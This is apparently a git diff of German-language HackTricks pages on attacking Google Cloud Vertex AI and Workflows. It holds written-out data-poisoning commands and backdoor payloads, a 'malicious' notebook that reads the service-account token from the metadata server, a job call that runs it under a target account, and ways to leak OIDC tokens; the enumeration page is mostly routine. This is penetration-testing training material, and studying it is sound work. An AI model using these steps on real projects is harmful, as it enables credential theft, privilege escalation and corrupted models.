# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**Angriffsszenarien:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor-Angriff - Bildklassifikation</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Gezielter Angriff auf bestimmte Entitäten</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks können schwerwiegende Folgen haben:
|
||||
> - **Sicherheitssysteme**: Umgehen von Gesichtserkennung oder Anomalieerkennung
|
||||
> - **Betrugserkennung**: Modelle so trainieren, dass sie bestimmte Betrugsmuster ignorieren
|
||||
> - **Inhaltsmoderation**: Schadhaften Inhalt als sicher klassifizieren lassen
|
||||
> - **Medizinische KI**: Kritische Gesundheitszustände falsch klassifizieren
|
||||
> - **Autonome Systeme**: Objekt-Erkennung manipulieren für sicherheitskritische Entscheidungen
|
||||
>
|
||||
> **Auswirkungen**:
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - Verschlechterte Modellleistung und Genauigkeit
|
||||
> - Voreingenommene Modelle, die bestimmte Eingaben diskriminieren
|
||||
> - Information leakage through model behavior
|
||||
> - Langfristige Persistenz (Modelle, die auf poisoned data trainiert wurden, übernehmen die backdoor)
|
||||
>
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Veraltete API**: Die `aiplatform.notebookExecutionJobs.create` API ist im Zuge der Ablösung von Vertex AI Workbench Managed Notebooks veraltet. Der moderne Ansatz ist die Nutzung des **Vertex AI Workbench Executor**, der Notebooks über `aiplatform.customJobs.create` ausführt (bereits oben dokumentiert).
|
||||
> Der Vertex AI Workbench Executor ermöglicht das Planen von Notebook-Ausführungen, die auf der Vertex AI custom training infrastructure mit einem angegebenen Servicekonto ausgeführt werden. Dies ist im Wesentlichen ein Komfort-Wrapper um `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
|
||||
**Die folgende Technik wird nur aus historischem Kontext dargestellt und wird für neue Assessments nicht empfohlen.**
|
||||
|
||||
Erstelle **notebook execution jobs**, die Jupyter notebooks mit beliebigem Code ausführen.
|
||||
|
||||
Notebook jobs eignen sich ideal für interaktive Codeausführung mit einem Servicekonto, da sie Python-Codezellen und Shell-Befehle unterstützen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle bösartige Notebook-Datei</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Notebook mit Ziel-Servicekonto ausführen</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+30
-18
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
Grundinformationen:
|
||||
Grundlegende Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,11 +12,13 @@ Grundinformationen:
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
Soweit ich weiß, ist es nicht möglich, eine Shell mit Zugriff auf den Metadaten-Endpunkt zu erhalten, der die SA-Anmeldeinformationen des SA enthält, der an einen Workflow angehängt ist. Es ist jedoch möglich, die Berechtigungen des SA auszunutzen, indem man die Aktionen hinzufügt, die innerhalb des Workflows ausgeführt werden sollen.
|
||||
Soweit ich weiß ist es nicht möglich, eine shell zu erhalten, die Zugriff auf den Metadata-Endpunkt hat, der die SA-Anmeldeinformationen der an einen Workflow gebundenen SA enthält. Es ist jedoch möglich, die Berechtigungen der SA zu missbrauchen, indem man die auszuführenden Aktionen in den Workflow aufnimmt.
|
||||
|
||||
Es ist möglich, die Dokumentation der Connectoren zu finden. Zum Beispiel ist dies die [**Seite des Secretmanager-Connectors**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In der Seitenleiste sind mehrere andere Connectoren zu finden.
|
||||
Es ist möglich, die Dokumentation der Connectoren zu finden. Zum Beispiel ist dies die [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In der Seitenleiste findet man mehrere weitere Connectoren.
|
||||
|
||||
Und hier finden Sie ein Beispiel für einen Connector, der ein Geheimnis ausgibt:
|
||||
Und hier findet man ein Beispiel für einen Connector, der ein secret ausgibt:
|
||||
|
||||
<details><summary>Workflow YAML-Konfiguration zum Zugriff auf secrets</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
</details>
|
||||
|
||||
Aktualisierung über die CLI:
|
||||
|
||||
<details><summary>Workflows über die CLI bereitstellen und ausführen</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
Wenn Sie einen Fehler wie `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` erhalten, **warten Sie eine Minute und versuchen Sie es erneut**.
|
||||
Wenn du einen Fehler wie `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` erhältst, warte einfach **eine Minute und versuche es erneut**.
|
||||
|
||||
Wenn Sie keinen Webzugang haben, ist es möglich, die Ausführung eines Workflows mit folgendem Befehl auszulösen und zu sehen:
|
||||
Wenn du keinen Webzugang hast, ist es möglich, die Ausführung eines Workflows auszulösen und zu sehen mit:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Sie können auch die Ausgabe vorheriger Ausführungen überprüfen, um nach sensiblen Informationen zu suchen.
|
||||
|
||||
Beachten Sie, dass selbst wenn Sie einen Fehler wie `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` erhalten, weil Sie diese Berechtigung nicht haben, der Workflow generiert wurde.
|
||||
|
||||
### Leak OIDC-Token (und OAuth?)
|
||||
|
||||
Laut [**den Dokumenten**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) ist es möglich, Workflow-Schritte zu verwenden, die eine HTTP-Anfrage mit dem OAuth- oder OIDC-Token senden. Allerdings muss die HTTP-Anfrage mit dem Oauth-Token, wie im Fall von [Cloud Scheduler](gcp-cloudscheduler-privesc.md), an den Host `.googleapis.com` gerichtet sein.
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher ist es **möglich, das OIDC-Token durch Angabe eines vom Benutzer kontrollierten HTTP-Endpunkts zu leaken**, aber um das **OAuth**-Token zu leaken, benötigen Sie **einen Bypass** für diesen Schutz. Sie können jedoch weiterhin **jede GCP-API kontaktieren, um im Namen des SA Aktionen durchzuführen**, entweder über Connectoren oder HTTP-Anfragen mit dem OAuth-Token.
|
||||
> Sie können auch die Ausgaben vorheriger Ausführungen prüfen, um nach sensiblen Informationen zu suchen
|
||||
|
||||
Beachte, dass selbst wenn du einen Fehler wie `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` erhältst, weil du diese Berechtigung nicht hast, der Workflow trotzdem erstellt wurde.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher ist es **möglich, das OIDC-Token zu leak, indem ein vom Nutzer kontrollierter HTTP-Endpunkt angegeben wird**, aber um das **OAuth**-Token zu leak, bräuchte man einen **Bypass** für diesen Schutz. Du kannst jedoch weiterhin **jede GCP api kontaktieren, um Aktionen im Namen des SA auszuführen**, entweder über connectors oder HTTP-Anfragen mit dem OAuth-Token.
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP request with OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Workflow-HTTP-Anfrage mit OIDC-Token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
Mit dieser Berechtigung ist es anstelle von `workflows.workflows.create` möglich, einen bereits bestehenden Workflow zu aktualisieren und die gleichen Angriffe durchzuführen.
|
||||
Mit dieser Berechtigung statt `workflows.workflows.create` ist es möglich, einen bereits bestehenden Workflow zu aktualisieren und dieselben Angriffe durchzuführen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) ist die einheitliche Machine-Learning-Plattform von Google Cloud zum Erstellen, Bereitstellen und Verwalten von AI-Modellen in großem Maßstab. Sie kombiniert verschiedene AI- und ML-Dienste zu einer einzigen, integrierten Plattform und ermöglicht Data Scientists und ML-Ingenieuren:
|
||||
|
||||
- Eigene Modelle mit AutoML oder benutzerdefiniertem Training zu trainieren
|
||||
- Modelle an skalierbare Endpunkte für Predictions zu deployen
|
||||
- Den ML-Lifecycle von Experimenten bis zur Produktion zu verwalten
|
||||
- Auf vortrainierte Modelle aus dem Model Garden zuzugreifen
|
||||
- Modellleistung zu überwachen und zu optimieren
|
||||
|
||||
### Wichtige Komponenten
|
||||
|
||||
#### Modelle
|
||||
|
||||
Vertex AI Modelle repräsentieren trainierte Machine-Learning-Modelle, die auf Endpunkten für Predictions bereitgestellt werden können. Modelle können:
|
||||
|
||||
- Aus benutzerdefinierten Containern oder Modell-Artefakten hochgeladen werden
|
||||
- Durch AutoML-Training erstellt werden
|
||||
- Aus dem Model Garden (vortrainierte Modelle) importiert werden
|
||||
- Mit mehreren Versionen pro Modell versioniert werden
|
||||
|
||||
Jedes Modell besitzt Metadaten, einschließlich Framework, Container-Image-URI, Speicherort der Artefakte und Serving-Konfiguration.
|
||||
|
||||
#### Endpunkte
|
||||
|
||||
Endpoints sind Ressourcen, die bereitgestellte Modelle hosten und Online-Predictions ausliefern. Wichtige Merkmale:
|
||||
|
||||
- Können mehrere bereitgestellte Modelle hosten (mit Traffic-Splitting)
|
||||
- Bieten HTTPS-Endpunkte für Echtzeit-Predictions
|
||||
- Unterstützen Autoscaling basierend auf Traffic
|
||||
- Können privaten oder öffentlichen Zugriff nutzen
|
||||
- Unterstützen A/B-Tests durch Traffic-Splitting
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
Custom Jobs erlauben es, eigenen Trainingscode mit eigenen Containern oder Python-Paketen auszuführen. Funktionen umfassen:
|
||||
|
||||
- Unterstützung für verteiltes Training mit mehreren Worker-Pools
|
||||
- Konfigurierbare Maschinentypen und Beschleuniger (GPUs/TPUs)
|
||||
- Anbindung eines service accounts zum Zugriff auf andere GCP-Ressourcen
|
||||
- Integration mit Vertex AI Tensorboard zur Visualisierung
|
||||
- Optionen für VPC-Konnektivität
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Diese Jobs durchsuchen automatisch optimale Hyperparameter, indem mehrere Trainingstrials mit unterschiedlichen Parameterkombinationen ausgeführt werden.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
Model Garden bietet Zugriff auf:
|
||||
|
||||
- Vortrainierte Google-Modelle
|
||||
- Open-Source-Modelle (inkl. Hugging Face)
|
||||
- Drittanbieter-Modelle
|
||||
- One-Click-Deployment-Funktionen
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
Tensorboards bieten Visualisierung und Überwachung für ML-Experimente, verfolgen Metriken, Modellgraphen und Trainingsfortschritt.
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
Standardmäßig verwendet Vertex AI den Compute Engine default service account (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), der Editor-Berechtigungen im Projekt hat. Sie können jedoch benutzerdefinierte service accounts angeben beim:
|
||||
|
||||
- Erstellen von custom jobs
|
||||
- Hochladen von Modellen
|
||||
- Bereitstellen von Modellen an Endpunkte
|
||||
|
||||
Dieser service account wird verwendet, um:
|
||||
- Auf Trainingsdaten in Cloud Storage zuzugreifen
|
||||
- Logs an Cloud Logging zu schreiben
|
||||
- Auf Secrets aus Secret Manager zuzugreifen
|
||||
- Mit anderen GCP-Diensten zu interagieren
|
||||
|
||||
### Datenspeicherung
|
||||
|
||||
- Modell-Artefakte werden in Cloud Storage Buckets gespeichert
|
||||
- Trainingsdaten liegen typischerweise in Cloud Storage oder BigQuery
|
||||
- Container-Images werden in Artifact Registry oder Container Registry gespeichert
|
||||
- Logs werden an Cloud Logging gesendet
|
||||
- Metriken werden an Cloud Monitoring gesendet
|
||||
|
||||
### Verschlüsselung
|
||||
|
||||
Standardmäßig verwendet Vertex AI Google-managed Encryption Keys. Sie können auch konfigurieren:
|
||||
|
||||
- Customer-managed encryption keys (CMEK) aus Cloud KMS
|
||||
- Verschlüsselung gilt für Modell-Artefakte, Trainingsdaten und Endpunkte
|
||||
|
||||
### Networking
|
||||
|
||||
Vertex AI-Ressourcen können konfiguriert werden für:
|
||||
|
||||
- Öffentlichen Internetzugang (Standard)
|
||||
- VPC Peering für privaten Zugriff
|
||||
- Private Service Connect für sichere Konnektivität
|
||||
- Shared VPC-Unterstützung
|
||||
|
||||
### Aufzählung
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### Modell-Informationssammlung
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### Endpunktdetails
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### Informationen zu Custom Jobs
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### Zugriffskontrolle
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### Speicher und Artefakte
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Model Garden
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
Auf der folgenden Seite kannst du nachsehen, wie man **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user